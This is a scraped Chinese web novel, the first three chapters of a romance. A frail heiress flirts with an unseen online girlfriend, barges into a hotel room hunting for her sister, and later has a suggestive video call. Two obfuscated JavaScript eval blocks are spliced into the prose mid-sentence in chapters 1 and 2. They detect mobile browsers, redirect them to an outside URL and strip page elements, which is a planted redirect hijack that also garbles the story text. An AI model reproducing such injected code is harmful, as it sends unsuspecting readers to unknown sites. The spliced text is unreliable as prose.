《网恋的冰山美人掉马后》
1. 第 1 章
临海市。
滨海机场。
窗外白色飞机滑过机场跑道,冲进霏霏细雨中,发出阵阵轰鸣,大厅里时不时地响起温柔的女声播报,旅客们提着行李箱行色匆匆,步履急促,渴望归家。
时千岁低着头,迈着温吞的步子走在vip通道内,目光始终追随着手中紧握的手机。
黑色经典公主切发型完美放大了她五官的优势,巴掌大的脸,秀眉明眸,朱唇粉面。
上身穿了件Chanel彩色条纹修身吊带,露出漂亮的天鹅颈和盈盈一握的雪白腰肢,下身是深色修身九分裤,帆布鞋,吊着半截白嫩纤细的脚腕,双腿细且长。
明艳的长相、出挑的气质,在熙攘纷杂的机场自成一道靓丽的风景线,像是从漫画里走出来的人。
引得旁人注目。
大春拖着两个大号行李箱跟在她身后一米的位置,一米八的身高,木讷着一张脸不苟言笑,不凶,但是很哄人,目光微微往旁边一瞥,那些时不时出现的打量的视线便都纷纷消失不见。
“大春。”
时千岁兀自停下脚步,微微吐出一口气,调整了一下呼吸,眼睛抽空从手机上移开,望向闸道口举着牌子翘首以盼的接机人群,不满地撇下了嘴角。
大春跟着她的脚步停下,声音闷闷的,“千岁姐。”
大春,时千岁的好友、伴读,九岁受其父母资助,接来时家,两人一同长大,她比时千岁小个半岁,长相沉稳,虽然看起来有点木木的,不太爱讲话,但心思却尤为细腻。
目光留意到她微微耸动的肩膀,又补了一句,“累了?”
“是有点。”昨天晚上和女朋友在网上聊得热火朝天,一不小心熬了个大夜,今儿一早的飞机又折腾几个点,体力严重告竭。
“那……”
时千岁蓦地转过头,气鼓鼓道,“时千金呢?”
“她没来接我?”
在外上学离家半年,好不容易放个假,作为她的亲姐姐居然都不来接机,甚至连个信息都没有,想想心里就极其不痛快,像是堵了一块大石头。
时千岁登时眼圈发红,平时澄澈清亮的眼睛此时氤氲着一层薄薄的水汽,看起来娇弱极了,我见犹怜。
大春紧张地往前迈了一步,从包里翻出纸巾,递过去,慢半拍解释道,“千金姐安排司机来接我们了。”
“她今天有个重要会议...”抽不开身..
时千岁不听,努起唇,极其不满地“哼”了一声,甩头往出站口走,“我没哭,我又不是小孩子。”
大春:“.....”
她默默收起纸巾,提上行李箱跟上前去。
“千岁姐...”
她提醒,“外面下..”雨呢..
只可惜,最后一个字还未说出口,时千岁便一头撞进了雨里。
细密的雨丝染湿了她的脸颊、打湿了她的衣衫。
时千岁的心情瞬间跌落谷底。
她极其讨厌下雨,在她有生以来的记忆中,每每遇到类似这种糟糕的天气她都是躺在病榻上,伴着苦兮兮的药汤子,一折磨便是半个月。
据她老爸老妈讲,她因为早产的原因,一出生便经历了一道鬼门关,历经九死一生才活了下来,因此留下了病根,成了名副其实的弱柳扶风的药罐子。
时千岁连话都不想说了,脸色比天气还阴沉了几分。
大春从身后伸过来一把黑伞,替她遮住了眼前的雨水,保姆车司机飞快地跑下车替她开门。
时千岁烦躁地把手机往身后一甩,抛给了大春,下巴微微抬起,小腿一迈,钻进了保姆车,大春紧随其上。
保姆车驶离机场,汇入川流不息的主干道,朝时家别墅驶去。
时千岁歪在后座上,侧脸望着窗外连绵的雨雾,心情越来越烦闷。
除去这突如其来的糟糕天气,还有一件事紧紧地搅弄着她心绪。
她女朋友失联了!
时千岁曲指敲敲扶手,问,“几点了?”
“十点。”
四小时!
从她起床开始到下飞机,整整四个小时,音、信、全、无!!!
时千岁“嗖”地转过头,望向大春。
专注整理衣物的大春突然感受到一股极度幽怨的视线,缓缓抬起头,迟钝的大脑使劲地运转。
几秒后,福至心灵,拿起一侧的手机递了过去,“没来消息。”
时千岁:“!!!”
她一拍扶手,赌气道,“我没问!!!”
大春:“.....”
行吧。
大春把准备好的干净衣服和薄毯递给时千岁,按下座位旁按钮。
车内升起挡板,大春提醒,“换衣服。”
时千岁依依不舍地把目光从那沉寂无声的手机上移开,背过身去脱衣服。
换上了一袭价格不菲的限定款白裙,镶满细钻的肩带,蝴蝶款式的收腰设计,矜贵又不失这个年纪的青春俏皮。
不由让人眼前一亮。
大春回过头,眼底罕见地闪过一丝惊艳。
愣了愣。
目光划过她的脸颊,猛然发觉她的脸色有些异于寻常,呈现一种病态的潮红,嘴唇发白,额头上还冒出了一层细汗,不由心生担忧。
她语速比平时快了两分,“千岁姐。”
“是不是哪里不舒服?”
时千岁无语的斜她一眼,伸手从冰箱拿出瓶酸奶,拧开盖压了一口,“好着呢,”话一出口,便瞬间被打脸。
异于寻常沙哑的嗓音,微微作痛的喉咙。
是生病的前兆。
时千岁:“.....”
倒霉,今天出门绝对没看黄历。
“我联系医生。”
时千岁听见“医生”两个字,条件反射地打了个哆嗦,梗直脖子,急道,“大春!”
“你把电话给我放下!”
“我都说了没事,叫什么医生,我不许!你怎么无理取闹呢?”
大春:“.....”
到底是谁无理取闹?
时千岁这番话说得有点着急,以至于呼吸都不顺畅了,她轻喘着脸色也越发难看。
平复一瞬。
她挑衅似的晃了晃手中的酸奶,灌了一口,朝大春一挑眉,意思很明显。
——别惹我!
大春拿这位大小姐毫无办法,妥协了。
车内一时安静了下来。
此时“嗡嗡”两声。
座位旁静止已久的手机发出清晰的震动。
时千岁耳朵动了动,随即激动地转过了脸,朝大春勾了勾手指。
大春心领神会,把手机递了过去。
屏幕上赫然躺着三个大字,“女朋友”。
时千岁抬起纤长手指飞快往上一滑。
屏幕上弹出了对话框。
【早安。】
等了四个小时,就换来这么冷冰冰的两个字。
时千岁心中不免哀怨。
还未等发作,对面又发来两条消息。
【刚起床,才看到你的消息。】
【想你。】
当然最后一条是对应她四小时前的询问,“有没有想我?”这句话。
时千岁紧盯着这两个字,嘴角不可抑制的高高扬起。
她的脾气就如同临海城市七月份的雨,来得快去得也快。
阴云消散,天空开始放晴,她心中的一切不愉快都随着这场雨的落幕而烟消云散。
时千岁拍了拍发烫的脸颊,羞赧一笑,手指轻戳屏幕,打下了一行字。
【老婆,亲亲。】
发送。
时千岁紧盯着屏幕。
一分钟过去了。
她撇了撇嘴角。
【老婆,你今天好冷淡哦,不开心~】
想了想,补充道。
【但我对你的爱依旧热烈。】
“嗡嗡。”
几分钟后对面终于发来了消息。
【(图片)刚在洗澡。】
时千岁点开图片,两根手指一撑,放大那么一看。
瞬时间瞪大了双眼,脑中空白了一片。
好一张美人出浴图!
浴室里水雾氤氲,缭缭绕绕,照片里的人裹着松松垮垮的白色浴袍,领口微敞露出笔直的锁骨和大片细雪般的皮肤,甚至可以窥见那高耸的雪山雏形。
浴袍下摆中的两条腿被白雾拢着,若隐若现,极为诱人。
哇!
她忍不住地惊叹。
一时的脑补程度更是远远大于此时此刻的视觉体验。
这个胸...
一定很软吧...
好想感受一下...
热气上涌,顷刻间席卷全身,时千岁有点晕眩。
她闭了闭眼,伸手轻轻揉了揉太阳穴。
大春看出她的异样,不合时宜开口,“千岁姐,你...”
脑中盘旋的托马斯小火车被强行叫停,时千岁不耐烦地“啧”了一声。
“我好得很。”
话一出口,更是沙哑沉闷。
只不过这次的声音里好像更夹杂了一丝别的什么韵味。
“时千金联系到了吗?”
大春如实道,“没有。”
这个时千金,绝饶不了她,时千岁鼻音重重地“哼”了一声,再度低下头去回复信息。
【想吃。】
...
时千岁看着莫名出现在屏幕上的两个字,一时沉默了。
她怎么一不小心把心里话打出来了。
光天化日的,要注意形象!这种小骚话还是要等晚上讲才有情趣。
她点击删除,斟酌片刻,认认真真地打上一行字。
【老婆身材好迷人,想做老婆的狗,害羞~】
对了,时千岁又问:【可以看看脸吗?】
对面秒回:【不可以哦。】
时千岁急:【为什么???】
【因为,你不乖。】
时千岁:???
她撑直了身子,紧张地注视着屏幕,十指飞快地敲击。
【老婆,人家哪里不乖了?遵纪守法、恪守姬德,满心满眼只有你,漂亮的小姑娘从我身边路过我都把自己当成瞎子。】
对面回道:【油嘴滑舌。】
【记不记得我以前说过的话?】
哪一句?
时千岁敲了敲额头,努力回想。
终于记起,她这位女朋友好像提过不让称呼她为“老婆”只允许称呼“老师”这回事。
时千岁沉思片刻,猜测到。
要么她女朋友讨厌婚姻有关的东西,要么就是她有特殊的小癖好,比如喜欢师生之间的背德感...
别说,还挺刺激。
时千岁捂嘴偷笑,许久,郑重回复。
【知道了,老师。】
对面回复:【乖。】
她指尖一顿,好像想到了些什么,眼底闪过一片狡黠。
补充道。
【那..偷偷问一句,在床上也要叫你老师吗?】
对面沉默了。
长时间的沉默。
时千岁勾出一抹得逞的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084753|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑容。
皮一下很开心,看吧,女朋友害羞了。
时千岁跷起二郎腿。
【不逗你了,老师,晚上可以语音吗?我想听听你的声音。】
再无回复。
路程还有一段距离,时千岁疲惫来袭,她熄灭了手机屏幕,懒洋洋地往椅子上一靠,闭目养神。
“嗡嗡。”
搁在一旁的手机再度亮起。
时千岁眯眼一看。
是群里@她的消息。
这群是临海一群富二代们组建的聚会群,平时没事就是聊天扯屁和炫富,她不爱在里边讲话,所以设置成了免打扰。
这会@她的是秦梦乐。
家里是做高档酒店生意的,两家父母经常来往,一来二去两人也熟悉了。
只不过谈不上多要好。
【千岁,回临海了?晚上游轮趴来不来?为你接风洗尘。】
嚯,消息还挺灵通。
不约,时千岁兴致缺缺。
晚上还要和女朋友打语音呢。
时千岁再度阖上眸子。
消息接二连三。
【你不会还有门禁吧?你都这么大了,你爸妈还不放心你?】
【不对啊,你爸妈不是去国外了吗?】
【别跟我说你怕你姐,你姐潇洒着呢,可没空管你。】
时千岁无暇嘲讽,坐直了身子,紧盯最后一行字。
【什么意思,最后一句?】
秦梦乐私聊她。
【你姐来万吉酒店开房了,我正好撞见了,和一个超级漂亮的女人。】
时千岁:???
【我还跟她打了个招呼呢,就住我隔壁1008。】
好好好,好一个重要会议。
说得冠冕堂皇的。
呵呵,原来是和女人睡觉去了!
时千岁刚刚压下去的火气卷土重来,灼烧起她的理智。
“小刘,给我抄近道去万吉酒店。”
又威胁,“不许给时千金通风报信,否则...”
大春和司机小刘同时缩回了伸向手机的手。
一个急转弯。
保姆车改变方向,朝本市最豪华的酒店驶去。
十分钟后。
保姆车稳稳当当地停在了酒店门口。
时千岁开门,急迫地跳下车。
突然一阵眩晕袭来,她一个趔趄,差一点就和大地来个亲密接触。
大春眼疾手快地扶稳了她。
甫一接触皮肤,触感是异于寻常的烫。
显然时千岁也察觉到了,暗道一声,糟糕,恐怕发烧了。
她清了清嗓子,压下一丝虚弱,“带路。”
大春太了解时千岁了,脾气一旦上来十头牛也来不回来。
索性依了她。
两人直奔客房。
到了1008号房间门口。
大春从身后变出了一把椅子,往门口一米处一放。
时千岁落座,优雅地跷起了二郎腿,一副准备看好戏的表情。
她已经想象到时千金看到自己时那难堪的样子了,这还不狠狠拿捏。
时千岁冷笑一声,示意大春敲门。
“叩叩。”
屋内传来脚步声,由远及近。
时千岁直了直身子,莫名有点紧张。
该紧张的不应该是屋内那两个吗?她紧张个什么劲儿?
时千岁深深吐出一口气,眼睛一瞬不瞬地盯着那扇紧闭的大门。
片刻,“咯吱”一声。
门由内打开。
一漂亮女人缓步走出。
无可挑剔的容貌,身量颀长柔美,粉黛不施,一袭黑裙包裹着曼妙腰肢,成熟不失性感。
尤其是露在外面的肌肤,如上好白瓷,细腻白皙。
时千岁呼吸一滞,不由在心里重重地点了点头,对秦梦乐的话表示肯定。
确实超级漂亮。
漂亮女人居高临下地望向她,漆黑如墨的眼睛里满是冰冷和疏离。
她薄唇翕动,吝啬地吐出两个字,“有事?”
时千岁被她周身散发的寒意刺了一下,不自觉缩了缩脖子,气势大减。
声音更是弱了几分,“你、你别给我装。”
言浠别有深意地看她一眼,一个转身,关上了门。
“砰”的一声。
时千岁闭了闭眼,耳边的发丝吹起又落下。
时千岁与大春面面相觑。
片刻,指了指那扇紧闭的门。
问道,“她那眼神什么意思?是不是说我冒失、没礼貌、无理取闹?”
大春:“.....”
见大春不说话,时千岁面子有点挂不住了,她从小到大就没受过这待遇。
“再去给我敲门!”
敲门声响起,足足三分钟。
女人再度开门。
眼神依旧冰冷。
时千岁抬头望着她,质问道,“我姐呢?藏哪了?”
言浠淡淡道,“你找错了。”
时千岁莫名觉得,她这个高度问题,才导致面前女人频频占上风。
她“噌”地从椅子上站起身。
“我跟你说,我是..”
话音未落,发烧引起的眩晕感再度来袭。
时千岁脚底一软,向前栽去。
不偏不倚的撞进了女人的怀里。
好闻的冷香充盈鼻端,脸下软绵绵的,弹性十足。
时千岁来不及收住的话语,闷闷地传了出来。
“来..捉奸的。”
2. 第 2 章
时千岁歪了歪头,认真感受了一下落在脸颊的触感,后知后觉,耳根蓦地发起烫来。
“那个...”她脑子里晕晕乎乎的,苍白地解释道,“我不是故意的...”
发烫的呼吸掠过肌肤,痒痒的。言浠浑身一僵,极快地推开她。
时千岁站稳,垂眸注视着自己脚尖,一时之间有点尴尬。
言浠看着眼前这个冒冒失失的小家伙,眼底蓦地迸发出森然寒意。
她讨厌肢体接触。
极其讨厌!
“那什么..”时千岁一米七的个头,眼前女人比她高一点,她一仰头,目光便撞入了寒潭一般的幽暗眼底。闷热的天气,竟无端端地生出了一股寒意。
她不自觉地向后撤了一步,脚下一软,身子晃了晃。
言浠微微皱眉,下意识便抬起了手。
大春眼疾手快地从背后将她扶稳。
言浠不动声色地把手背到了身后,指尖捏了捏掌心。
“不好意思啊。”
女孩饱含歉意的声音软软的,带着一丝沙哑,言浠心软了一瞬,气势一点点收敛。
她垂眼端详面前女孩。
女孩长了一张明媚可人的脸,皮肤娇嫩,脸颊至眼尾染着一抹病态的红晕,整个人娇娇弱弱的,柔若无骨地倚着身后的人,像极了饱受暴风雨摧残的小花。
楚楚可怜,实在让人生不起来气。
言浠叹了口气,决定原谅这个冒失的小家伙。
“还有事?”
时千岁倏地抬起眼,视线越过言浠一个劲儿往房间里钻。“一码归一码,”她不忘初心,好心提醒,“你离我姐远点,我姐就是个提了裤子不认人的变态。”
言浠侧了侧身子,挡住了她窥探的视线。
时千岁不依不饶,头一低,逮到间隙就往里冲。
言浠皱了皱眉,一个抬手,掌心抵在了她额头上,时千岁使出了浑身解数,愣是动弹不得丝毫。
感受到掌心的烫人的温度,言浠无奈地叹了口气,语气稍较平时温和了些,“我还有事,没空陪你玩。”
“早点回家。”
时千岁梗了梗脖子,发红的眼睛里满是倔强,“我不要!”
言浠沉默地看了她一会儿,淡淡道,“那你请便。”接着,转了个身,再次带上了门。
便听“砰”的一声。
时千岁望着紧闭的大门眨了眨眼。
这是被梅开二度了?
“要回去吗?千岁姐。”身后传来大春讷讷地声音。
回,回什么回,“大春我问你,她什么意思?什么叫没空陪我玩?”时千岁气愤极了。
“我看上去像跟她开玩笑嘛?”
虽然此时此刻,时千岁对此行产生了严重怀疑,直觉这女人好像确实不知情的样子,但,就这么走了...她好像真成了那个笑话。
绝对不行,时千岁招招手,大春俯身。
“等下,一开门,你不管三七二十一直接给我闯进去。”
“控制住她。”
大春直接拒绝,“不行。”
时千岁:“???”
大春给出解释,“千金姐说,禁止暴力。”
“千金姐千金姐,就知道千金姐,你这么听她的话,是不是害怕她?”
身后人出乎意料的沉默了..
时千岁难以置信地回头看了眼大春,见她唇抿得很紧,眼神还有一丝闪躲。
心道,猜中了?
时千岁“啧”了一声,吐槽道,“白长这么大个。”
大春没有反驳,把她手机递了过来,“千岁姐,你女朋友消息。”
时千岁成功被这句“你女朋友”取悦到了,她嘴角噙起笑接过手机,“行了,我自己来。”
她把目光移到屏幕上,查看消息,只一眼便紧张地坐直了身子。
【晚点聊,遇到了点麻烦。】
麻烦?什么麻烦?不会是遇到什么危险了吧?时千岁瞬间在脑海里上演了一出大戏,其惨烈程度硬生生把自己吓出了一头汗。
【到底出什么事了?】
【严不严重?】
【我好担心!】
那边回道。
【没什么,遇到个缠人的家伙。】
靠!竟然有人这么不长眼,骚扰她女朋友?时千岁气急了,指尖狠狠地戳向屏幕。
【给我个位置,我马上飞过去,狠狠收拾收拾那个混蛋。】
让她知道马王爷究竟有几只眼!!!
对面应道:【不用。】
【已经报警了。】
哎呀,女朋友真聪明。
【晚一点给你发语音。】
真的?时千岁抱着手机乐开了花。
房门“嘎吱”一声。
时千岁的笑容还没有落下去,女人便施施然走了出来,站到她面前,居高临下望着她。
时千岁瞬间板起了脸,手机屏幕往下一压,恼道,“看什么看?没见过和女朋友聊天的?”
依稀一声轻笑。
时千岁莫名从中听出了几分不屑。
言浠继而冷冰冰乜她一眼,“和我有什么关系。”
时千岁:“.....”
一向无理辩三分的她罕见地噎住了。
言浠见她吃瘪,微不可察地勾了勾唇角,
她伸手把一杯温水塞到了正在愣神的时千岁手中。
感受到温度,时千岁回神,不可思议道,“给我的?”
“这么好心?”
难不成这女人没有表面看上去的那么冷漠?
言浠静静地垂下眼帘,思考着她进房间后为什么会鬼使神差地给这个冒昧的女孩倒了杯热水。
是感受到了她额间烫人的温度,亦或者是那楚楚可怜的模样?
无论如何,终归是出于同情。
时千岁沿着杯沿轻轻抿了一口水,温度刚好,喉间的紧涩感舒缓不少。
言浠见她眉目舒展,才开口回答刚才的问题,“我看你病得不轻。”
时千岁:“???”
她怎么莫名觉得这话两层含义呢。
表面像是关心...实则怎么听怎么像骂人..
她看了眼面前神态漠然的女人。
心下确定了。
就是骂她。
时千岁拧眉,愤愤道,“你这人有话不会好好说吗?”真够毒舌的!她心里对眼前人的态度再次来了个一百八十度大转弯。
言浠一挑眉,云里雾里地来了一句,“等下会有人跟你好好说话。”
时千岁:“???”
“什么意思?”
未等回话。
不远处的载客电梯“叮”的一声响,电梯门缓缓打开。
时千岁循声音望去,瞬间僵在了原地。
只见里面走出个西装革履的工作人员,身后三四个警察。
目标明确地向她走来。
走到跟前时,为首的那位工作人员朝言浠微微欠身。
表达歉意。
“言小姐,是我们酒店管理不周,才会出现此类骚扰事件,您放心,我们一定会给您一个交代。”
时千岁指了指自己,有点懵,“骚扰?”
又看看言浠,问,“你至于吗?”
这跟小时候被欺负和老师打小报告有什么区别?
两名警察一左一右站过来。
时千岁扶着大春缓慢起身,瞪她一眼,咬牙道,“我记住你了。”
“咱俩没完。”
...
时千金于半个小时后风尘仆仆地赶来,把虚弱的她和大春带回了家。
此时,时千岁意识都有点模糊了,也没有力气闹腾了。
她沉默着挪上了楼,钻进卧室,换了睡衣把自己抛到了床上。
沉沉睡去。
这一觉睡到天蒙蒙黑。
以至于她转醒后有些恍惚,不知身在何处。
时千岁茫然地环顾四周。
目光注意到床边站着的白大褂时,她的心猛烈地颤了一下,挣扎着起身。
“二小姐,别乱动,等下跑针了还要重新扎一下。”
她这才注意到手背上明晃晃的输液针头。
以及后知后觉的痛感。
时千岁当即红了眼眶,眼泪不受控的蜿蜒而下,洇湿了枕头,她偏过头背对着医生,紧咬着下唇克制着声音里的哽咽,“你们出去,把时千金叫过来。”
医生颔首,退出卧室。
没过一会。
卧室门被轻轻推开。
进来一高挑女人。
白色商务西装,长卷发,妆容精致,鼻梁上架着一副金丝眼镜,整个人看起来成熟且干练。
她五官和时千岁有些相似,但眉眼颇具攻击性。
很轻易地给人一种强大的上位者气场。
时千金坐到床边,一直紧绷的肩膀放松了下来,她抬手轻轻碰了碰时千岁,眼中逐渐生出一抹温柔。
时千岁置气般地躲开她的手,把脸深深地埋进枕头里面。
“别碰我。”
听到她声音里的哭腔,时千金一愣,紧接着发出声愉悦的笑声。
她调侃道,“哎哟,小祖宗又掉金豆豆了?”
时千岁扭过头,狠狠瞪她一眼,狡辩道,“我没哭!”
时千金看她眼泪蒙蒙的双眼,心里软了又软,不禁轻声哄道,“好好好,没哭没哭,我们千岁长大了。”
时千岁极其傲娇的“哼”了一声,“别跟我套近乎,我还没找你算账呢!”
“有你这么当姐的吗?撇下亲妹妹不管,跑去跟女人睡觉!”
见她发愣。
时千岁又补充,“秦梦乐说的,她在酒店亲眼看见你了,别给我否认。”
时千金从床上站起来,无语地看着她妹妹,实在是忍不了了,出口教训道,“不是,你这么大个人了,怎么一点判断能力都没有呢?”
“那是昨晚!”
时千岁仔细一想,她光顾着生气了好像确实忘了问详细了。
她有点心虚,但不多。
下巴一扬,“那咋了?”
“还不是姐你以前跟女人玩给我留下的刻板印象太深了!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084754|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
形形色色的女人,换衣服都没那么勤快。
时千金一时哑然。
“我...我那不是工作压力大吗,再说我现在不是已经改了吗?”
时千金解释完才反应过来,自己好像被这小家伙牵着鼻子走了,她一叉腰,“嘿”了一声,“不是,我不跟你讲了吗,重要会议,事关开启新项目,我们来运集团各地分公司的管理层都过来了。”
“都住在那个酒店,我昨晚一个一个送过去的。”
时千金的嘴跟连珠炮似的,指着床上的捣蛋精就是一阵输出,“我真不知道,一个人究竟能通多大娄子,今儿算是开了眼。”
“给自己搞到高烧39度不说,还叫来了警察,要不是酒店的眼熟我司机,你这会就进警察局了,会也没开成,还得过来捞你,那么一大伙人都得停下来等进度,你知道耽误这一天时间我们损失多少钱吗?少说得八位数,我的祖宗。”
“钱有我重要吗?”时千岁不服气地嘀咕着,“再说,那女人也真是,这么点小事至于吗?”想想就憋屈,就没受过这么大气。
“怎么不至于,”时千金瞥了眼她,“酒店的很委婉地讲你骚扰客人,我可是看监控了,你那纯纯地性骚扰。”
时千岁惊了,手指紧紧地抓着床沿,“怎么就上升高度了?”
“性骚扰可不分男女。”
“一上来就往人怀里钻,可着劲儿吃人豆腐,时千岁你这套究竟跟谁学的?”
时千岁:“.....”
她一眨不眨地盯着时千金,颇有破罐子破摔的意味,“你。”
时千金:“.....”
她抓重点,“你姐可不喜欢那种类型,虽然长得确实好看,但性格太冷了,跟冰块一样,一看就没得情趣。”
这一点,时千岁和她姐的想法出奇地保持了一致。
她拼命点头,“对对对,我就是脚一软,况且我有..”时千岁舌头拐了个弯,强行止住话头。
可不能让时千金知道她有女朋友这事,要不然绝对叨叨个没完。
时千金心中产生一丝狐疑,“你有?你有什么?”她眼睛紧盯着时千岁,想从中发现一丝端倪。
时千岁连忙躲避开那股视线,从枕边摸出了手机,低头查看消息。
只见屏幕上躺着几条“女朋友”的未读消息。
时千岁立马收起了吊儿郎当的神情。
【事情解决了。】
【这会你有时间吗?】
【未接语音。】
时千岁:“!!!”
啊啊啊啊!她都错过了什么啊!
时千岁的懊恼都写在了脸上。
【老师,我刚刚睡着了。(委屈巴巴.jpg)】
对面回复。
【好吧。】
好吧?好吧是什么意思,就完了?
时千岁撇了撇嘴角。
时千金注意到了她情绪的变动,蹑手蹑脚凑过来,眼睛一个劲往屏幕上瞟。
“跟谁聊天呢?”
时千岁听到动静,把手机往身底下一扣。
恼道,“不是,时千金,你有没有边界感?”
时千金被抓包一点也不尴尬,她抬起眼,“啧”了一声,“小气劲儿的。”
时千岁慢慢起身,靠到了床背上,这一觉发了不少汗,黏黏糊糊的,真不舒服。
她下了逐客令,“去去去,出去。”
“我要洗澡了。”
时千金交代,“你悠着点,别又烧起来。”
她往外走,走到门口,叫等候多时的医生进来拔针。
等医生和时千金出去,卧室只剩她一人时。
时千岁再次拿出了手机。
把那条未接通的语音拨了回去。
“滴、滴、滴..”
时千岁心脏也随之打起了鼓。
她紧张地握着手机,时间一分一秒过去,语音显示挂断。
对面发过来一条解释的信息。
【不太方便。】
时千岁刚要回复。
卧室门便被敲响了,“嘎吱”一声,门开了个小口,时千金探进来个脑袋,问,“亲爱的妹妹,需不需要姐姐帮你洗澡啊?”
时千岁翻了个白眼,“姐姐,你是最近有了什么特殊癖好吗?”
时千金没好气道,“你听听,你说的是人话吗?我还不是怕你晕里边,再说,小时候我可没少帮你洗。”
说完,她气咻咻地关上了门。
卧室重新归于平静。
经这一遭。
时千岁脑袋里蹦出来了一个鬼主意。
她抓着手机慢慢悠悠爬下床,走进浴室。
打开淋浴,热水潺潺流淌,热气蒸腾,浴室不出片刻便变得朦胧了起来。
时千岁一手褪着睡衣,一手打字。
【老师,要不要看我洗澡?】
信息刚发送过去,手心便感受到一阵猛烈的震动。
时千岁低头一看,只见屏幕上显示。
【“女朋友”发送过来一条视频邀请。】
“.....”
3. 第 3 章
时千岁得意地笑了。
她把褪到一半的衣服重新穿了起来,把手机立在了半身镜前,镜头往下一压照到锁骨以下位置,深吸一口气,准备妥当后这才扬起了食指轻轻点击接听。
她紧盯着屏幕,紧张地直咽口水。
镜头一阵晃动、翻转,不多时,画面定格在了桌上的红酒杯上。
时千岁:“.....”
她和她女朋友还真是默契十足。
默契到,都选择不露脸。
时千岁的小心思落空。
两边一时之间沉默无言,之余潺潺水流声,不绝于耳。
电话那头率先打破了这份沉默。
礼貌道,“晚上好。”
声音微微透着一股冷感,沾染着些许醉意,很轻,很温柔,像是夏日清凉的夜风,缓缓吹入心田,不由让人情不自禁地心波荡漾。
不过,这声音怎么有点耳熟呢?
有点像下午遇到的那个女人。
不,不一样。
冻人的冰坨子怎么能和她女朋友相比呢?
时千岁猛地摇头。
久未答话。
电话那头发出了一声疑惑的,“嗯?”
“怎么不说话?”
上扬的语调像是带了钩子。
瞬间把时千岁的魂儿勾了回来。
“那个,”时千岁摸着自己躁动的心跳,咬了下下唇,故意拉长了语调,“老师~”
沾染着浓浓水汽的声音,带着一丝蛊人的娇媚,如同暧昧夜晚耳鬓厮磨般的呢喃。
清脆一声响,像是手机磕在了玻璃桌面上,镜头黑了一瞬,晃了晃,屏幕中伸出了一只骨节分明的手。
指节纤长。
一看就很有力量。
时千岁喉咙往下一滚,眼睛紧紧地盯着那只手,撕也撕不下来。
画面终于稳定。
只听手机那头又“嗯?”了一声。
声音低沉,夹杂了一丝不同寻常的喑哑。
时千岁抿唇偷笑,心情愉悦极了。
“老师,刚刚不是说不方便吗?”
怎么一提洗澡就方便了?
闷骚!
“在忙工作。”
明明在喝酒。
假正经。
时千岁没有拆穿,眼珠一转,鬼主意上心头,“老师。”
“我想和你一起洗澡。”
“你喜欢在浴室里做吗?”
对面显然被这番直白的言语惊到了。
那端起红酒杯的手就那么顿在了半空中,五指紧收,像是要把那玻璃杯捏碎似的。
时千岁注意到了这个细节,勾唇一笑,愈加放肆。
“老师,你的手真好看。”
“想被你..哭。”
对面刚把酒送入口中,听到这话,便是一阵猛烈的呛咳。
时千岁没忍住笑出了声,调笑道,“老师,你这个反应是不喜欢吗?那..还要不要看我洗澡?”
静了两秒。
对面好像识破了她的举动。
轻笑一声。
唤了一声,“宝宝。”
她叫自己什么?宝宝?时千岁感觉自己的心跳都空了一拍。
对面又说。
“我在想,你能站住吗?”
什么?什么能不能站住?时千岁回忆了一下两人的对话。
才恍然明白了这句话的意味。
她脑子里不由自主地浮现出了一幅旖旎画面。
浴室里,白雾袅袅,发丝缠缠绕绕。
赤裸裸的女人,一前一后贴在镜子前。
那姿势光是靠想象就让人脸红心跳血脉贲张。
时千岁呼吸逐渐加重,热意在狭仄的空间肆意蔓延,很快便席卷全身。
感受到自己身体的异常,时千岁忙拍拍烫人的脸颊,驱散热气。
怎么反被撩了?
好没出息。
她不能输。
时千岁晃了晃脑袋,把那过于劲爆的画面从脑海中驱逐了出去。
深吸一口气,晶亮的眸子隐约透出一丝兴奋。
“站不站得住要试试才知道。”
她一个停顿,“老师,我要脱衣服喽。”
时千岁扬起玉葱般白嫩纤细的手指,捏起睡衣最上面的一颗纽扣,缓缓拨开。
露出漂亮的天鹅颈和笔直的锁骨。
接着是第二颗。
丰盈的雪山初见端倪。
只需再往下一点便可以窥见其全貌。
时千岁手指慢慢移动到那颗纽扣上,指尖轻轻往上一挑,又忽地顿住。
紧接着,转了个身背对着镜头,继续下一步动作。
手机那头传出一声微乎其微的叹息声。
像是意犹未尽。
时千岁勾唇一笑,把睡衣一点一点褪到腰间。
香肩,美背,盈盈一握的腰肢,被浴室飘渺的白雾包裹着,若隐若现、朦胧又迷离。
一声沉重的呼吸声从手机中传出。
时千岁动了动耳朵,手上的动作戛然而止,她往右挪了一步,身子移出了屏幕。
“老师,剩下的等你亲手帮我脱。”
“期待和你见面。”
说着,朝屏幕挥了挥手,挂断了视频。
坦诚相见是必然的,但一定要留在见面那一刻,毕竟远水解不了近渴,时千岁反正是这样想的。
“嗡嗡。”
回答她的是三个大大的感叹号。
“!!!”
时千岁看着消息笑弯了腰。
她女朋友上头了。
...
半小时后,时千岁洗完澡下了楼。
厨房里飘出了饭菜香,她使劲地嗅了嗅,灵敏地察觉到其中夹杂的药材味道,食欲瞬间丧失。
时千金刚巧忙完工作从书房出来。
时千岁往沙发上一歪,幽怨道,“姐,我好不容易回趟家,你就不能给我吃点好的?”
“我不吃药膳!”
她仰起下巴,一字一顿,“我要吃吃香辣蟹、小龙虾!”
